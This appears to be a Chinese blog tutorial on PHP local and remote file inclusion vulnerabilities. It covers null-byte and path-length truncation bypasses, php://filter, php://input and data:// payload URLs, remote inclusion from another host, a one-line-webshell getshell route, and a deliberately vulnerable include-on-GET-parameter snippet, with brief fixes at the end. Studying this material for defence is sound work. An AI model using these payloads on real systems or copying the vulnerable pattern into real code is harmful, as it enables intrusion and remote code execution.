文件包含漏洞

文章详细介绍了PHP文件包含漏洞的原理,包括本地和远程文件包含,列举了各种利用方式如%00截断、长度截断等,并提到了常见的绕过限制策略。同时,指出了这种功能的优缺点,如提高开发效率但可能引发安全问题。最后,讨论了漏洞修复方法,如固定文件后缀和使用WAF产品。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

文件包含

当我们在遇到文件上传并且有白名单校验的时候,利用文件包含可以getshell(brupsuit)上传文件,该文 件后缀名(php),插入一句话木马,用菜刀连接

原理

程序员通常会把可重复使用函数或语句写到单个文件中,在使用某个功能时,直接调用此文件,不用再编写调用文件的过程称为包含。

PHP 中的⽂件包含语句 PHP 提供了四个⽂件包含的语句,四个语句之间略有不同:

include()多次包含,如果包含失败,脚本产⽣警告,继续运⾏。

include_once()⼀次包含,如果包含失败,脚本产⽣警告,继续运⾏。

require()多次包含,如果包含失败,脚本产⽣错误,结束执⾏。

require_once()⼀次包含,如果包含失败,脚本产⽣错误,结束执⾏。

⽂件包含是PHP 的基本功能之⼀,有本地⽂件包含与远程⽂件包含之分。

#文件包含各个脚本代码

ASP, PHP,JSP,ASPX等

<c:import url="http://thief.one/1.jsp">

<jsp:include page="head.jsp"/>

<*@ include file="head.jsp"%>

#漏洞识别检测

代码审计

漏扫工具

公开漏洞

手工看参数值及功能点

类型

本地包含

本地⽂件包含就是可以读取和打开本地⽂件,无限制可读取任意文件,有限制只能读取指定后缀文件.

有限制可绕过

00截断:条件: magic_quotes_gpc = Off php版本<5.3.4

filename=../../../www.txt%00

长度截断:条件:windows,点号需要长于256; linux 长于4096

1.txt/./././././././././././././././././././././././././././././././.

1.txt……………………………………………………………….

参考文件上传绕过思路

远程包含

远程⽂件包含就是可以远程(⽅式)加载⽂件。 可通过php的配置文件php.ini中的选项进行配置

条件: /php

allow_url_fopen = On/Off # http://|ftp:// 访问远程⽂件

allow_url_include = On/Off # require|include http://|ftp:// 访问远程⽂件

有后缀限制可绕过

%23

%00

%20

?

利用

http

ftp

File

各种脚本支持协议

#各种协议流玩法

参考 https://www.cnblogs.com/endust/p/11804767.html

http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64-encode/resource=1.txt

http://127.0.0.1:8080/include.php?filename=php://input (Post:)

');?>

http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt

http://127.0.0.1:8080/include.php?filename=data://text/plain,<?php%20phpinfo (); ?>

*相应配置: *

allow_url_fopen = On/Off # http://|ftp:// 访问远程⽂件

allow_url_include = On/Off # require|include http://|ftp:// 访问远程⽂件

包含示例: 示例代码:

// fileInclusion.php

if(!empty($_GET['path'])){

include $_GET['path'];

}else{

echo "?path=./info.php"; }

12345

本地文件包含:

http://192.168.16.109/fileInclusion/fileInclusion.php?path=./info.php

** 远程⽂件包含**

http://localhost/fileInclusion/fileInclusion.php?

path=http://192.168.16.109/phpinfo.php

优点:

PHP ⽂件包含是程序设计的基础功能之⼀,能够减少代码量,提⾼开发效率。

缺点

会产生文件包含漏洞 漏洞原理:文件包含配置(php.ini)、动态调用、客户端可控。

特点:

⽆视⽂件扩展名读取⽂件。

直接读取图⽚的源代码

http://192.168.48.139/fileInclusion/fileInclusion.php?

修复

固定后缀

固定文件

WAF产品

内容概要:本文详细介绍了如何利用Simulink进行自动代码生成,在STM32平台上实现带57次谐波抑制功能的霍尔场定向控制(FOC)。首先,文章讲解了所需的软件环境准备,包括MATLAB/Simulink及其硬件支持包的安装。接着,阐述了构建永磁同步电机(PMSM)霍尔FOC控制模型的具体步骤,涵盖电机模型、坐标变换模块(如Clark和Park变换)、PI调节器、SVPWM模块以及用于抑制特定谐波的陷波器的设计。随后,描述了硬件目标配置、代码生成过程中的注意事项,以及生成后的C代码结构。此外,还讨论了霍尔传感器的位置估算、谐波补偿器的实现细节、ADC配置技巧、PWM死区时间和换相逻辑的优化。最后,分享了一些实用的工程集成经验,并推荐了几篇有助于深入了解相关技术和优化控制效果的研究论文。 适合人群:从事电机控制系统开发的技术人员,尤其是那些希望掌握基于Simulink的自动代码生成技术,以提高开发效率和控制精度的专业人士。 使用场景及目标:适用于需要精确控制永磁同步电机的应用场合,特别是在面对高次谐波干扰导致的电流波形失真问题时。通过采用文中提供的解决方案,可以显著改善系统的稳定性和性能,降低噪声水平,提升用户体验。 其他说明:文中不仅提供了详细的理论解释和技术指导,还包括了许多实践经验教训,如霍尔传感器处理、谐波抑制策略的选择、代码生成配置等方面的实际案例。这对于初学者来说是非常宝贵的参考资料。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值